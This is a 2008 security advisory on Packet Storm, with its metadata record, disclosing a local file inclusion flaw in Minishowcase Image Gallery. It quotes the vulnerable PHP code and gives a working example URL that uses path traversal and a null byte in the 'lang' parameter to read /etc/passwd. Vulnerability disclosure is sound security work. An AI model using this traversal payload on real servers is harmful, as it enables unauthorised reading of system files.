ID PACKETSTORM:68589 Type packetstorm Reporter Digital Security Research Group Modified 2008-07-29T00:00:00
Description
`
Digital Security Research Group [DSecRG] Advisory #DSECRG-08-034
Application: Minishowcase Image Gallery
Versions Affected: v09b136
Vendor URL: http://minishowcase.frwrd.net
Bug: Local File Include
Exploits: YES
Reported: 14.07.2008
Second report: 22.07.2008
Vendor response: NONE
Solution: NONE
Date of Public Advisory: 29.07.2008
Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
Description
***********
Minishowcase Image Gallery has local file include vulnerability in script libraries/general.init.php
Vulnerable GET parameters "lang".
Successful exploitation requires that "register_globals" is enabled.
Code
****
#################################################
...
$_dir_file = dirname(dirname(__FILE__));
$_dir_path = dirname($_SERVER["DOCUMENT_ROOT"] . $_SERVER['PHP_SELF']);
if ($_dir_file != $_dir_path) {
if (!isset($settings['minishowcase_url'])
|| ($settings['minishowcase_url'] == "")) {
die ("<p style=\"margin:6px;padding:20px;text-align:left;font-size:18px;background:#f60;color:#FFF;\">ALERT: if you are including minishowcase with PHP into a website, please set the <code>\$minishowcase_url</code> variable in the <code>/config/settings.php</code> file</p>");
}
}
...
if (isset($_GET["lang"])) $set_language = $_GET["lang"];
$langfile = ROOT.'languages/'.$set_language.'.php';
require_once($langfile);
#################################################
Example:
http://[server]/[installdir]/libraries/general.init.php?settings[minishowcase_url]=DSecRG&lang=../../../../../../../../../../../../../etc/passwd%00
Solution
********
No response or any updates from vendor.
About
*****
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)
`
{"type": "packetstorm", "published": "2008-07-29T00:00:00", "reporter": "Digital Security Research Group", "hashmap": [{"key": "bulletinFamily", "hash": "708697c63f7eb369319c6523380bdf7a"}, {"key": "cvelist", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cvss", "hash": "d4be9c4fc84262b4f39f89565918568f"}, {"key": "description", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "href", "hash": "89e550461674b4ac7a1cf7727537023f"}, {"key": "modified", "hash": "db4eb71e7ade394c7d7ea4c294811da0"}, {"key": "objectVersion", "hash": "56765472680401499c79732468ba4340"}, {"key": "published", "hash": "db4eb71e7ade394c7d7ea4c294811da0"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "9fdd6a5dd93259c4273262fe5804148a"}, {"key": "sourceData", "hash": "038fe853929abf8b83a14a0aa46b0579"}, {"key": "sourceHref", "hash": "d0307dcda8784c6a40405819179d555d"}, {"key": "title", "hash": "c9d11bed5ad94529b4b0aee38e00e67d"}, {"key": "type", "hash": "6466ca3735f647eeaed965d9e71bd35d"}], "bulletinFamily": "exploit", "cvss": {"vector": "NONE", "score": 0.0}, "sourceData": "` \nDigital Security Research Group [DSecRG] Advisory #DSECRG-08-034 \n \n \nApplication: Minishowcase Image Gallery \nVersions Affected: v09b136 \nVendor URL: http://minishowcase.frwrd.net \nBug: Local File Include \nExploits: YES \nReported: 14.07.2008 \nSecond report: 22.07.2008 \nVendor response: NONE \nSolution: NONE \nDate of Public Advisory: 29.07.2008 \nAuthors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru) \n \n \n \nDescription \n*********** \n \nMinishowcase Image Gallery has local file include vulnerability in script libraries/general.init.php \n \nVulnerable GET parameters \"lang\". \n \nSuccessful exploitation requires that \"register_globals\" is enabled. \n \nCode \n**** \n################################################# \n \n... \n$_dir_file = dirname(dirname(__FILE__)); \n$_dir_path = dirname($_SERVER[\"DOCUMENT_ROOT\"] . $_SERVER['PHP_SELF']); \n \nif ($_dir_file != $_dir_path) { \nif (!isset($settings['minishowcase_url']) \n|| ($settings['minishowcase_url'] == \"\")) { \ndie (\"<p style=\\\"margin:6px;padding:20px;text-align:left;font-size:18px;background:#f60;color:#FFF;\\\">ALERT: if you are including minishowcase with PHP into a website, please set the <code>\\$minishowcase_url</code> variable in the <code>/config/settings.php</code> file</p>\"); \n} \n} \n... \nif (isset($_GET[\"lang\"])) $set_language = $_GET[\"lang\"]; \n$langfile = ROOT.'languages/'.$set_language.'.php'; \nrequire_once($langfile); \n \n################################################# \n \nExample: \n \nhttp://[server]/[installdir]/libraries/general.init.php?settings[minishowcase_url]=DSecRG&lang=../../../../../../../../../../../../../etc/passwd%00 \n \n \nSolution \n******** \n \nNo response or any updates from vendor. \n \n \nAbout \n***** \n \nDigital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. \n \n \nContact: research [at] dsec [dot] ru \nhttp://www.dsec.ru (in Russian) \n \n`\n", "viewCount": 0, "history": [], "lastseen": "2016-11-03T10:27:14", "objectVersion": "1.2", "href": "https://packetstormsecurity.com/files/68589/DSECRG-08-034.txt.html", "sourceHref": "https://packetstormsecurity.com/files/download/68589/DSECRG-08-034.txt", "title": "DSECRG-08-034.txt", "enchantments": {"score": {"value": -0.3, "vector": "NONE", "modified": "2016-11-03T10:27:14"}, "dependencies": {"references": [], "modified": "2016-11-03T10:27:14"}, "vulnersScore": -0.3}, "references": [], "id": "PACKETSTORM:68589", "hash": "e570a7a756aabc78ceb51919a3442e56ce2600b98fc3b18f694bdeb939c861c3", "edition": 1, "cvelist": [], "modified": "2008-07-29T00:00:00", "description": ""}
